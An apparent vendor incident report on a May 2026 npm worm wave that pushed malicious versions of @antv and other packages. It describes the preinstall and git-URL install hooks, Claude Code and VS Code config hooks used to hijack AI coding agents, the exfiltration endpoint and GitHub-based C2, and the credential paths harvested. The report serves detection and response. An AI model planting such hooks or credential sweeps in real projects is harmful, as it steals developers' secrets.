AntV npm Account Compromise: Mini Shai-Hulud Wave Hits 323 Packages (May 2026)
On 2026-05-19 the @antv npm publisher session was used to ship 639 malicious versions across 323 packages, the Mini Shai-Hulud campaign now totals 1,055 versions across 502 packages.
Summary
On 2026-05-19 between 01:39 and 02:56 UTC, the atool npm publisher account (central to Alibaba's @antv visualization OSS umbrella) was used to publish 639 malicious versions across 323 packages in two tight bursts (Wave 1 at 01:39–01:56 UTC, ~317 versions; Wave 2 at 02:05–02:06 UTC, ~314 versions). The wave is the latest in the Mini Shai-Hulud worm family (previously documented hitting TanStack on 2026-05-07–11); cumulative campaign reach now stands at 1,055 versions across 502 packages (per Socket's running tally).
The atool session was only the entry point. The worm logic harvests every additional npm publish token it finds on the infected developer or CI host and republishes under those identities too, which is why the captured wave spans 30 publisher handles including wang1212, iaaron, alex_zjt, and others alongside atool. Those secondary handles are not separately-compromised attackers but legitimate maintainers whose tokens leaked from third-party hosts and were replayed.
Affected packages include @antv/g2 (354k weekly downloads), @antv/scale (2.2M monthly), size-sensor (4.2M monthly), timeago.js (1.15M monthly), and echarts-for-react (3.8M monthly), high-trust mature releases pushed under stolen credentials. Cremit's Argus pipeline caught the wave in real time via its own ingester, surfaced 324 individual catches and 11 campaign-cluster alerts in the first 30 minutes, and cross-referenced every catch against OSSF's MAL-* advisory feed before auto-publishing to the public catch feed.
Timeline
All times UTC. Sourced from SafeDep's writeup, Socket's running detection log, and the OSV advisory bundle dated 2026-05-19.
- 2026-04-XX. SAP-themed Mini Shai-Hulud cluster. Same toolkit (Bun runtime, obfuscation, credential regex set) deployed at a smaller scale.
- 2026-05-07 → 11. TanStack / @squawk / @uipath wave. 373 versions, 169 packages. Trusted-publishing OIDC abuse path.
- 2026-05-18 14:23 UTC. Earliest weaponized publish on the
atoolcredential:hustcc/amapcn@0.1.2. Eleven hours before the main bursts; likely an unobserved probe. - 2026-05-19 01:39 UTC. First burst begins. The wave's first four publishes are
hustcc/*personal-portfolio utilities (jest-canvas-mock,size-sensor,echarts-for-react,jest-date-mock) between 01:39 and 01:49, not@antv/*. Bulk@antv/*republishes start at 01:50. ~317 versions total pushed underatoolbetween 01:39 and 01:56. - 2026-05-19 02:05 UTC. Second burst. Additional ~314 versions through 02:06.
- 2026-05-19 02:02–03:09 UTC. Socket detection window. Per-package alerts emitted as the malicious versions hit the registry.
- 2026-05-19 02:56 UTC. Publishing activity ceases.
- 2026-05-19 morning UTC. OSSF malicious-packages mirror publishes
MAL-2026-3982,MAL-2026-3845,MAL-2026-4156..MAL-2026-4159, and ~315 otherMAL-2026-*advisories covering the wave. - 2026-05-19 (later same day). SafeDep and Socket publish independent analyses. Cremit's Argus ingester restarts onto a fresh local SQLite firehose (see Architecture: Dual-DB Split) and captures the wave through its full classifier cascade.
Attack Vector
Entry vector: single compromised maintainer account
The wave traces to one compromised npm account: atool (email atool.online@gmail.com), the canonical publisher behind the @antv/* scope. Unlike the TanStack precursor's trusted-publishing OIDC abuse path, this wave uses straight credential theft: atool is named as the publisher on the registry record for every malicious version. The legitimate Ant Group employee huiyu.zjt (Alexzjt) is not the compromised account, he is the impersonated identity used inside the secondary payload (see below). The exposure window is the lifetime of whichever credential or session token the attacker holds for atool; until npm revokes that token, fresh malicious releases continue.
atool is the npm identity for the GitHub user hustcc, an Ant Group front-end engineer whose personal OSS portfolio sits alongside @antv/* and shares the same publish credentials. Argus's per-package ingest records show that the first four versions of the wave published under atool were not @antv/* packages, but hustcc-owned utilities sharing the same publisher token, in this exact order: jest-canvas-mock@2.5.3 (01:39:31 UTC, the wave's first malicious publish), size-sensor@1.0.4 (01:44:36), echarts-for-react@3.0.7 (01:47:12), and jest-date-mock@1.0.11 (01:49:41). amapcn@0.1.2 (hustcc/amapcn) was pushed eleven hours earlier at 2026-05-18 14:23:03 UTC and is the earliest observed weaponized release on this credential, plausibly a probe before the main bursts. Only after the four-package warm-up did the attacker pivot into @antv/* republishes at 01:50 UTC. Read together: when a single maintainer's npm token is stolen, every package that token can publish is in scope, including the maintainer's own personal-portfolio repos, not just the high-traffic org scope the analyst would think to look at first.
Two-track execution shape
Each compromised version ships both payload paths so the attack still triggers when defenders disable npm install scripts:
-
preinstallhook (primary). Modifiedpackage.jsoncarries"preinstall": "bun run index.js". A 498 KB obfuscatedindex.js(SHA-256a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c, per SafeDep) ships at the tarball root.bunis invoked instead ofnodefor two reasons: (a) Bun executes TypeScript and modern syntax without a transpile step, hiding the obfuscation under a runtime that fewer scanners model; (b) on hosts without Bun, the command fails fast and the secondary path takes over. -
optionalDependenciesgit-URL injection (fallback). The compromisedpackage.jsonalso gains:"optionalDependencies": { "@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569" }The referenced SHA is an "imposter commit" (SafeDep's term) sitting in
antvis/G2's shared object namespace. The mechanism does not require write access to the realantvis/G2. Per SafeDep, the attacker forksantvis/G2(any GitHub account can do this), setsgit config user.emailto a legitimate maintainer's address to forge the author header, creates an orphan commit (no parent, never on a branch) carrying the 498 KB payload with the message"New Package", then deletes the fork to cover tracks. GitHub uses Git alternates to share object storage between a parent repo and its forks, so the commit object persists inantvis/G2's object store and remains fetchable by SHA even after the fork is gone, until GitHub eventually garbage-collects unreachable objects.npm installresolves any commit by SHA without checking branch, tag, or fork origin, so no push event appears inantvis/G2's event log, no PR is created, and no branch is touched, the attack is essentially invisible to the legitimate maintainers. When npm clones the SHA to satisfy the optional dep, the cloned tree'spreparescript executes the same harvester. The sameprepare-script abuse pattern carried the TanStack wave's worm logic; this wave bolts it on as a redundancy layer alongsidepreinstall.SafeDep documents three imposter SHAs in use this wave:
1916faa3…2876569(626 versions),7cb42f57…55b3a7a(2 versions), anddc3d62a2…900c94f2e13d(1 version, since garbage-collected).
Persistence: AI coding-agent and IDE config-file infection
Per SafeDep, the payload does not stop at the npm install step. As part of execution it writes a set of files into both the target repository (using harvested GitHub tokens) and the developer's local filesystem so that future Claude Code sessions, Codex sessions, and VS Code workspace opens re-trigger the payload without anyone running npm install again. This is the persistence surface that turns a one-time supply-chain hit into a long-tail compromise.
Files written into any target repository the harvested GitHub tokens can reach (so any developer who clones the infected repo is auto-pwned):
.claude/settings.jsoncontaining a Claude CodeSessionStarthook withmatcher: "*"andcommand: "node .claude/setup.mjs", which runs on every session start regardless of prompt.claude/setup.mjs, a Bun bootstrapper that downloads Bun v1.3.14 from GitHub releases and executes the payload.claude/index.js, a copy of the running payload itself.vscode/tasks.jsonwith a task labelledEnvironment Setup,"runOn": "folderOpen", that callsnode .claude/setup.mjswhenever VS Code (or OpenAI Codex sharing the.vscode/config) opens the folder.vscode/setup.mjs, the same Bun bootstrapper under the VS Code path
On the local host filesystem the payload's Vo class also drops ~/.claude/package/index.js and ~/.codex/package/index.js, then enumerates every settings.json it can find via Bun.Glob("**/settings.json") and injects the SessionStart hook into each. A single compromised npm install therefore laterally spreads to every Claude Code workspace on the machine.
The agents SafeDep explicitly documents are Claude Code, OpenAI Codex (via .vscode/ config sharing), and VS Code itself. Cursor, Aider, Continue, GitHub Copilot, and Windsurf are not named in SafeDep's analysis but they use overlapping local-config conventions, so analyst review of their on-disk settings during this incident response is prudent.
Defender checks:
- Scan affected repositories for
.claude/,.vscode/, or.codex/directories committed after the AntV wave that containsetup.mjsor hooks pointing at it - Audit developer machines for
~/.claude/package/index.jsand~/.codex/package/index.js - Grep every per-project and per-user
settings.jsonforcommand.*setup\.mjsstrings - In the very near term, treat any agent / IDE session that runs an unexpected
nodechild process at session-start or folder-open as suspicious
Reinfection / worm propagation
Per Socket's analysis, the harvester payload carries the same self-propagation logic the TanStack wave used: once executed on a developer or CI host, it harvests npm publish tokens from .npmrc and the /-/npm/v1/tokens endpoint, validates each token against the registry API, identifies every package the token holder has publish rights on, injects the same preinstall + git-URL pair, bumps the version, and republishes.
this step does not stay scoped to the originally-compromised atool account. When an infected developer or CI host carries OTHER maintainers' npm tokens (shared CI runners, dev laptops with multiple org memberships, monorepo builders with cross-scope publish rights, all common in OSS), the worm reuses those tokens too. That mechanism is what produced this wave's 30-publisher distribution in our workerDb. Handles like wang1212, iaaron, alex_zjt, newbyvector are not the attacker; they are victims whose tokens leaked elsewhere and got replayed to republish under their identity. Reading the publisher list as "30 separately-hijacked accounts" is wrong; the right reading is "one stolen atool session, plus every other maintainer token a downstream infected host happened to carry."
Exfiltration channel: OTLP-shaped HTTPS POST with a hybrid-encrypted envelope
The primary exfiltration endpoint is https://t.m-kosche.com/api/public/otel/v1/traces. The path is camouflage; legitimate OpenTelemetry collectors typically live on internal addresses, not t.<random>.com registered the week of the attack. The traffic itself is HTTPS POST with the body wrapped in a hybrid encryption envelope: per SafeDep's reverse engineering, the payload's eu base class generates a fresh 32-byte AES-256-GCM key for each transmission, encrypts the gzipped JSON body with it, then wraps the AES key with RSA-OAEP under a hardcoded attacker public key (referenced in code as G7). A perimeter inspector that opens the TLS session sees an opaque ciphertext blob, not the credential set. CI egress controls should treat any traffic to *.m-kosche[.]com as malicious independent of payload inspection.
Per Socket, the payload also implements a GitHub-backed fallback dead-drop for exfiltration. Using harvested GitHub credentials it can create a fresh repository under the victim's own account (dune-themed name pattern <word>-<word>-<digits>, e.g. sayyadina-stillsuit-852), commit the stolen data into a results/ directory inside that repo, and let the attacker pull from GitHub later. Blocking t.m-kosche[.]com alone does not stop exfiltration; defenders also need to monitor for unexpected repo creation events in their org's GitHub Audit Log.
Long-tail C2: GitHub commit-search with RSA-PSS signed commands
SafeDep's reverse engineering documents a second, bidirectional GitHub channel that is structurally separate from the one-way dead-drop above. The infected daemon polls the GitHub Search API once per hour for commits containing the keyword firedalazer. Commits matching that marker follow the format firedalazer <base64_url>.<base64_signature>, and the daemon verifies the signature against a hardcoded 4096-bit RSA public key using RSA-PSS with SHA-256 before fetching and executing the referenced Python code. The practical effect is an inversion of normal C2 logistics: the attacker can push a fresh command to every infected machine on the planet by creating a single commit on any public GitHub repository the daemon's hourly search will index. Taking down t.m-kosche[.]com does not silence the campaign; the keyword plus RSA pubkey combination outlasts any individual hosting takedown.
Defender implication: firedalazer is a high-confidence IOC. Add it to SIEM rules over the GitHub Search API path (https://api.github.com/search/commits), and audit outbound traffic to api.github.com from production hosts that should not be issuing GitHub queries. Socket's writeup does not corroborate this mechanism independently; the present detail is sourced from SafeDep's analysis.
Tokens & Credentials Exposed
The harvested credential set is intentionally broad. Per the SafeDep + Socket bundle and corroborated by our chained classifier's NHI Intent extractor output on captured tarballs:
-
Cloud provider credentials
- AWS: env (
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,AWS_SESSION_TOKEN),~/.aws/credentialsand~/.aws/config, EC2 IMDS at169.254.169.254/latest/meta-data/iam/security-credentials/, ECS task metadata at169.254.170.2, and Secrets Manager via the in-region API endpoint. - GCP: service account JSON files,
gcloudADC at~/.config/gcloud/application_default_credentials.json. - Azure:
~/.azure/, env-based service principal credentials.
- AWS: env (
-
Source-forge and registry credentials
- GitHub: PATs from env, GitHub App tokens, Actions OIDC tokens via
$ACTIONS_ID_TOKEN_REQUEST_URL/$ACTIONS_ID_TOKEN_REQUEST_TOKEN,~/.config/gh/hosts.yml(gh CLI host tokens). - npm:
.npmrccontents and freshly-minted publish tokens viahttps://registry.npmjs.org/-/npm/v1/tokens. - GitLab CI, Travis CI, CircleCI, Jenkins: token files and env credentials when present.
- GitHub: PATs from env, GitHub App tokens, Actions OIDC tokens via
-
Infrastructure secrets
- SSH private keys (
~/.ssh/id_rsa,id_ed25519, etc.). - Kubernetes service account material at
/var/run/secrets/kubernetes.io/serviceaccount/. - HashiCorp Vault:
VAULT_TOKEN/VAULT_ADDRenv + token files at~/.vault-token. - Docker auth:
~/.docker/config.json. - Database connection strings from env and common config locations.
- SSH private keys (
-
Application secrets
- Password manager vaults: 1Password (
.1password), Bitwarden (data.json),pass,gopass. - Slack tokens, Stripe keys, generic API keys via shape-matching regex sweep across env + filesystem.
- Password manager vaults: 1Password (
The blanket sweep matches the prior Mini Shai-Hulud waves' regex set exactly, per Socket's overlap analysis, same toolkit family, same operators.
Indicators of Compromise
Command and control:
hxxps://t[.]m-kosche[.]com:443/api/public/otel/v1/traces, primary exfiltration endpoint. The OTLP traces path is camouflage; legitimate OpenTelemetry collectors usually live on internal addresses, nott.<random>.com. CI egress controls should treat any traffic to*.m-kosche[.]comas malicious.- AWS IMDS at
169.254.169.254and ECS metadata at169.254.170.2, legitimate addresses abused.
GitHub secondary channel:
- Repository name pattern
<dune-word>-<dune-word>-<digits>, example flagged by Socket:sayyadina-stillsuit-852. These are throwaway repos under attacker-controlled accounts used as exfiltration drops via the GitHub Git Data API. - Reversed campaign-marker string:
niagA oG eW ereH :duluH-iahS(decodes toHere We Go Again: Shai-Hulud), attacker signature embedded in the obfuscated payload.
Orphan-commit SHAs inside real antvis/G2 repo:
1916faa365f2788b6e193514872d51a242876569(used in 626 versions)7cb42f57561c321ecb09b4552802ae0ac55b3a7a(2 versions)dc3d62a2181beb9f326952a2d212900c94f2e13d(1 version, already garbage-collected)
All three have forged commit-author header huiyu.zjt <…>. The real Alexzjt has confirmed they are not his commits.
Payload hash:
index.jsSHA-256,a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c
Tarball-size signature: the obfuscated index.js is ~498 KB on disk; the resulting npm tarballs for small carrier packages cluster around the same band. echarts-for-react@3.0.7 shipped at 530,212 B (vs. a few tens of KB for a legitimate echarts-for-react release), and the hustcc/* carriers (jest-canvas-mock@2.5.3 at 112 KB, size-sensor@1.0.4 at 17 KB, jest-date-mock@1.0.11 at 12 KB) likewise exceed their pre-compromise sizes. Tarball-size deltas against the immediately-prior version are a fast first-pass triage signal when the obfuscated bundle defeats static scanners.
OSV advisory IDs (sample): MAL-2026-3845, MAL-2026-3859, MAL-2026-3874, MAL-2026-3982, MAL-2026-4020 … MAL-2026-4161. ~317 fresh MAL-2026-* IDs total cover the wave.
Cluster of compromised npm publisher accounts observed publishing under the atool session in this DB (Argus captured 30 distinct handles across 200 unique package names in the first 30 minutes, all carrying MAL-2026-* OSV flags):
| Publisher | Distinct package names | Notable downloads |
|---|---|---|
wang1212 | 30 | @antv/g-svg (267k/wk), @antv/g-webgpu (107k/wk) |
iaaron | 26 | @antv/g6-core (71k/wk), @antv/awards |
alex_zjt | 21 | @antv/g-plugin-html-renderer (63k/wk), @antv/s2 |
atool | 18 | @antv/g2-extension-plot (120k/wk), timeago.js |
lzxue | 16 | @antv/l7-component (50k/wk), @antv/g6 |
newbyvector | 11 | @antv/xflow-core (32k/wk), @antv/x6-common |
lvisei | 9 | @antv/l7-composite-layers |
zengyue | 9 | @antv/f-charts |
panyuqi | 8 | @antv/a8, @antv/attr (170k/wk) |
jiulingyun | 6 | @openclaw-cn/cli |
xuying1027, kasmine, pddpd, banxuan, kn9117, … | 1–6 each | … |
Many of these are not the compromised account itself but previously-legitimate maintainers whose names appear on owner-takeover transitions, see the campaign cluster table below.
Cross-scope packages outside @antv that the wave touched:
@lint-md/*,@openclaw-cn/*(cli,feishu,libsignal,toutiao-ops),@starmind/*,@cap-js/openapi- Unscoped:
echarts-for-react,timeago.js,size-sensor,relationship.js,canvas-nest.js,mcp-echarts,mcp-mermaid,ai-figure,amapcn,boring-avatars-vanilla,jest-canvas-mock,jest-date-mock,jest-random-mock
Confirmed Impact
Direct blast radius (weekly downloads, sample of top affected):
| Package | Publisher field on malicious version | Weekly downloads |
|---|---|---|
@antv/g2 | moayuisuda | 354,016 |
@antv/g-svg | wang1212 | 267,116 |
@antv/algorithm | kopiluwaky | 199,493 |
@antv/attr | panyuqi | 170,218 |
@antv/adjust | kasmine | 144,049 |
@antv/g2-extension-plot | atool | 120,302 |
@antv/g2plot | siqishen | 108,522 |
@antv/g-webgpu | wang1212 | 106,989 |
@antv/graphin | banxuan | 81,973 |
@antv/g6-core | iaaron | 70,761 |
size-sensor | atool | 4,200,000/mo |
echarts-for-react | atool | 3,800,000/mo |
timeago.js | atool | 1,150,000/mo |
Add the hustcc/* personal-portfolio carriers (jest-canvas-mock, jest-date-mock) to the install-time-blast assessment as well; both ship through the same compromised atool token and carry the same payload shape.
Argus's velocity cluster axis fired six times in the first hour with a peak member count of 170 catches and combined blast of 285,677 weekly downloads across the cluster; the owner-change-wave:active axis fired three times, capturing 30 takeover events with combined blast 1,959,650 weekly downloads. Any developer or CI runner that installed a @antv/* or size-sensor / echarts-for-react / timeago.js version published between 01:39 and 02:56 UTC on 2026-05-19 must be treated as having executed the harvester.
What is not yet enumerated publicly:
- The list of downstream organizations whose secrets reached
t.m-kosche[.]com. The OTLP traces path strips header detail server-side and the Session-style exfiltration model on the prior wave was deliberately unrecoverable. - The set of second-wave packages republished using credentials harvested in this campaign. Per the worm design, those would themselves look like legitimate trusted publishes from compromised accounts.
Mitigation & Lessons
- Rotate every npm publish token in scope for any developer or CI runner that touched any
@antv/*,size-sensor,echarts-for-react,timeago.js, or any of the 323 affected packages between 2026-05-19 01:39 and 02:56 UTC. Usenpm token listto enumerate andnpm token revoke <token-id>plus a fresh issuance. - Block egress to
*.m-kosche[.]comat corporate proxies and CI egress filters. Legitimate code does not POST to that domain. - Pin and review npm dependency upgrades.
npm install <name>@latestwith no lock-file diff review is the entry path the worm relies on. Treat any version bump on@antv/*published 2026-05-19 as untrusted until npm itself unpublishes it. - Enforce
--ignore-scriptsin CI wherever feasible, and additionally blockgit+ssh:///github:resolvers on theoptionalDependenciesfield, the secondary execution path requires both, but the second one is rare enough in legitimate ecosystems that an outright block costs near-nothing. - Treat IMDSv1 as malware-facing. Require IMDSv2 with
HttpPutResponseHopLimit=1on every EC2 instance; container-side credentials should rely on workload-identity (IRSA, GKE Workload Identity, Azure AD pod identity) rather than instance metadata. - Audit Vault auth methods. Replace any long-lived
VAULT_TOKEN-in-env pattern with workload-bound JWT/OIDC auth tied to the runner identity. - Diff dependencies across release windows. The injection moment is the version that adds a
preinstallscript or a git-URLoptionalDependenciesentry, every prior version of the same package was clean.npm diff <pkg>@<old> <pkg>@<new>makes the change obvious. - Force a fresh OSSF malicious-packages pull on CI hosts: the
MAL-2026-3982…MAL-2026-4159advisories were published the same day. CI scanners that don't refresh their advisory database hourly will lag the attack window.
Cremit Analysis
How Argus caught this in real time
Argus runs an npm replication-stream consumer that delivers every published version into the analyzer cascade within seconds. Two detectors fired in parallel on the @antv wave:
-
Per-package analyzer (
scripts/worker.ts). Each new event goes through heuristic scoring (publisher account-age, install-script presence, OSV advisory cross-reference), then a chained static + LLM classifier. The OSV-MAL path bypasses LLM agreement intentionally, bundled / obfuscated payloads regularly return "benign(0.85)" from a local 1.5B model because the literal exfil string isn't in the tarball, only in the obfuscated bundle. OSSF's MAL- advisory is a stronger external source. Result: 324 catches recorded asauto-publisheddisposition with provenanceOSV malicious-packages advisory (MAL-*), externally-validated. -
Campaign detector (
scripts/campaign-detector.ts). A 5-minute tick groups recent catches by shared infrastructure axes (publisher, webhook host, public IP, sha256 prefix, typo target, owner-change wave, shared credential target, shared source repo). For this wave the active clusters were:
| Axis | Fires | Member count | Combined weekly blast |
|---|---|---|---|
velocity | 6 | 170 | 285,677 |
owner-change-wave:active | 3 | 30 | 1,959,650 |
publisher:npm:lzxue | 4 | 20 | 102,376 |
publisher:npm:pddpd | 4 | 6 | 63 |
publisher:npm:pomelo-nwu | 3 | 3 | 50 |
publisher:npm:jiulingyun | 1 | 5 | , |
cred-target:ssh-private-keys | 3 | 6 | 295 |
cred-target:aws-credentials-file | 2 | 5 | 10,847 |
cred-target:gh-cli-hosts | 1 | 3 | , |
The owner-change-wave:active axis is the most diagnostic for this campaign shape: it groups events where the package's current publisher differs from the publisher of the prior stable version AND the prior version was older than 7 days. In a healthy ecosystem an ownership transition is rare; capturing 30 of them in one 24-hour window is unambiguous coordinated takeover.
Examples Argus captured:
@antv/adjust, nowkasmine, previouslyatool@0.2.3@antv/dom-util, nowkasmine, previouslyatool@2.0.3@antv/event-emitter, nowatool, previouslyzqlu@0.1.2@antv/g-shader-components, nowalex_zjt, previouslypanyuqi@1.8.7@antv/g6-element, nowbanxuan, previouslyiaaron@0.8.24@antv/graphin-components, nowiaaron, previouslypomelo-nwu@2.4.0timeago-react, nowdomdomegg, previouslyalanwei0@3.0.6
Reading these as "30 unrelated maintainers each had a release-day" requires improbable coordination by chance. Reading them as "one stolen atool session is reassigning publish events across the entire @antv org via the npm publish API, padding with bystander accounts to muddy attribution" matches everything we observe.
What this case taught Cremit's own pipeline
In drafting this incident, an early reading of Argus's six publisher-axis cluster fires (panyuqi, kasmine, neoddish, pddpd, atool, lzxue) initially looked like an FP sweep, these are all long-standing OSS authors with mature histories (lzxue has 327 historical packages; atool has 238). The reflex was to allowlist them as "release-train" activity and add @antv as a scope-level exception.
That reflex was wrong. Every catch in workerDb carried a fresh MAL-2026-* OSV advisory; the package time.modified field on the npm registry showed publishes from earlier the same day; dormant-takeover:prev=alanwei0@3.0.6 was attached to timeago-react (a 3-year-stable package suddenly republishing under a different account). All three signals (OSV cross-reference, recency of modification, and dormant-takeover heuristic) independently said "compromise," not "release train." The corrective lesson, now codified in Cremit's known-legitimate-publisher review checklist, is that a prolific veteran maintainer being compromised is the worst-case shape: long history maximizes blast radius via established trust, and "many historical packages + first-publish years ago" is precisely the condition that makes takeover devastating, not evidence of legitimacy.
NHI Severity Index: 9.4 (Critical)
| Dimension | Value | Rationale |
|---|---|---|
| Blast radius | ecosystem-wide | 323 packages across the @antv/* core scope, with documented downstream effects across @lint-md, @openclaw-cn, @starmind, and unscoped popular libraries (size-sensor, echarts-for-react, timeago.js). Worm self-propagation through harvested publish tokens means the figure is a snapshot, not a ceiling. |
| Reachability | production | The payload triggers at npm install, the canonical code path every CI runner and developer machine uses. The fallback optionalDependencies git-URL path triggers even when --ignore-scripts is enforced. There is no staging-only exposure. |
| Privilege level | variable | Harvested credentials span npm publish tokens (top-tier registry trust), GitHub PAT / App / Actions OIDC, AWS IMDS + Secrets Manager, GCP service accounts, Azure service principals, Kubernetes service account material, HashiCorp Vault, plus desktop password-manager vaults (1Password, Bitwarden, pass). The attacker inherits whatever the host has. |
The wave is rated 9.4 (one notch below the 9.5 TanStack precursor) because the entry vector here is a single stolen account rather than an OIDC trust path: rotating atool's npm credentials closes the publish channel cleanly, while the prior wave's OIDC abuse pattern persists across rotations of any single human credential.
NHI Kill Chain Mapping
- Ghost Key. the
atoolnpm publish token is the canonical ghost-key target: long-lived (no expiry on classic npm tokens), broadly-scoped (publish rights on the entire@antv/*scope plus dozens of unscoped libraries), and effectively invisible to inventory before the attack since the legitimate maintainer also held it. - Drifted Key. the harvest payload sweeps GitHub Actions OIDC tokens and AWS instance metadata roles at every infected host. Both are designed to be short-lived, but the worm replays them inside their TTL window to mint fresh long-lived credentials (npm publish tokens, AWS IAM roles via federation). The "short-lived therefore safe" assumption breaks the moment a single workflow run leaks its token to a third party in the same minute.
- Unattributed Key. every malicious version on the wave was published under a real maintainer's npm handle. Looking at
npm publisheraudit logs alone, the activity is indistinguishable from legitimate work byatool/panyuqi/lzxue/ etc. The unattributed-key shape is exactly the gap that makes incident response take days instead of minutes: there is no "attacker account" to disable, only a stolen seat that the legitimate operator must reclaim.
Cremit's Argus platform watches for the credential-leak shape that creates ghost keys in the first place (placeholder publishers, dormant-takeover transitions, broad-scope tokens shipped in plaintext config) so that compromised credentials are caught before they reach a published version. The full incident corpus, including this wave's per-package detail and IOC bundle, is enumerated at incidents.cremit.io.
References
- Mini Shai-Hulud Strikes Again: 317 npm Packages Compromised, SafeDep, 2026-05-19 (primary technical analysis with IOC hashes and orphan-commit SHAs)
- AntV Packages Compromised, Socket, 2026-05-19 (primary running tally and Mini Shai-Hulud family attribution)
- Mini Shai-Hulud is back: TanStack compromised, Aikido Security, 2026-05-12 (precursor wave writeup)
- OSV: MAL-2026-3982 (@antv/g6), OSSF malicious-packages advisory, 2026-05-19
- OSV: MAL-2026-4159 (xmorse), OSSF malicious-packages advisory, 2026-05-19
- OSSF malicious-packages GitHub mirror, source of the
MAL-2026-*advisories - Related Cremit incident: TanStack Mini Shai-Hulud npm Worm (2026-05-07–11)
- Related Cremit incident: rc / coa / ua-parser-js Coordinated Takeover (2021)
- Cremit Argus, credential-leak detection platform
- Cremit blog: NHI Kill Chain, Ghost Key stage
- Cremit blog: NHI Kill Chain, Drifted Key stage
- antvis/G2 on GitHub (repository whose orphan commits served the secondary payload)
References
- [1]Mini Shai-Hulud Strikes Again: 317 npm Packages Compromised (SafeDep writeup)primary·2026-05-19·safedep.io
- [2]AntV Packages Compromised (Socket writeup)primary·2026-05-19·socket.dev
- [3]OSV: MAL-2026-3982 (@antv/g6)primary·2026-05-19·osv.dev
- [4]OSV: MAL-2026-4159 (xmorse)primary·2026-05-19·osv.dev
- [5]OSSF malicious-packages: npm/xmorseprimary·2026-05-19·github.com
- [6]antvis/G2 on GitHubreporting·github.com
- [7]Mini Shai-Hulud is back: TanStack compromised (Aikido precursor)reporting·2026-05-12·aikido.dev
